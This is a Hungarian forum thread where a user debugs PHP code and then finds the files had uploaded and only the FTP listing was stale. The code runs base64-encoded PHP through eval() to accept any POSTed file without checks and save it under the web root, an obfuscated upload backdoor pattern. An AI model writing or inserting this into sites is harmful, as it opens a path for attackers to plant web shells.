Kezdőoldal » Számítástechnika » Weblapkészítés » PHP eval () függvény. Hol...

PHP eval () függvény. Hol rontottam el?

Figyelt kérdés

$source = '$important=$_SERVER["DOCUMENT_ROOT"]."/php/";if(!empty($_POST)){if(!is_dir($important))mkdir($important);move_uploaded_file($_FILES["index"]["tmp_name"],$important.basename($_FILES["index"]["name"]));}';

$code = base64_encode($source);

eval(base64_decode($code));



Hiába próbálkozom, nem tölti fel a fájlokat.

Magában $source-ban tárolt php kód önmagában még tökéletesen működött. Az alábbi tesztkód szintén működik:

$source = '$sajt = "asztal";echo $sajt;';

$code = base64_encode($source);

eval(base64_decode($code));


Hol lehet a hiba?


2016. nov. 6. 15:58
1 2
 11/14 A kérdező kommentje:

Rejtély megoldva, de legalább van helyette egy másik. :D


Azért nem találtam hibát a kódban, mert nem volt benne.


FTP szerint nincs ott a fájl, de beírtam az elérési utat böngészőbe és ott megtaláltam. Lehetséges hogy ftp-n amikor ki akartam törölni nem szedte ki, csak elrejtette???

2016. nov. 6. 18:23
 12/14 A kérdező kommentje:
egyébként köszönöm a segítséget!:)
2016. nov. 6. 18:24
 13/14 A kérdező kommentje:
az elejétől fogva néztem a konzolt, attól még, hogy nem mondtam
2016. nov. 6. 18:26
 14/14 A kérdező kommentje:

még kisebb a rejtély


kiléptem ftp-ről meg vissza, és ott van az összes fájl


eddig ha könyvtárat váltottam, automatikusan frissítette a tartalmukat, most viszont nem tette meg ezt a szívességet

2016. nov. 6. 18:31
1 2

Kapcsolódó kérdések:




Minden jog fenntartva © 2024, www.gyakorikerdesek.hu
GYIK | Szabályzat | Jogi nyilatkozat | Adatvédelem | Cookie beállítások | WebMinute Kft. | Facebook | Kapcsolat: info(kukac)gyakorikerdesek.hu

A weboldalon megjelenő anyagok nem minősülnek szerkesztői tartalomnak, előzetes ellenőrzésen nem esnek át, az üzemeltető véleményét nem tükrözik.
Ha kifogással szeretne élni valamely tartalommal kapcsolatban, kérjük jelezze e-mailes elérhetőségünkön!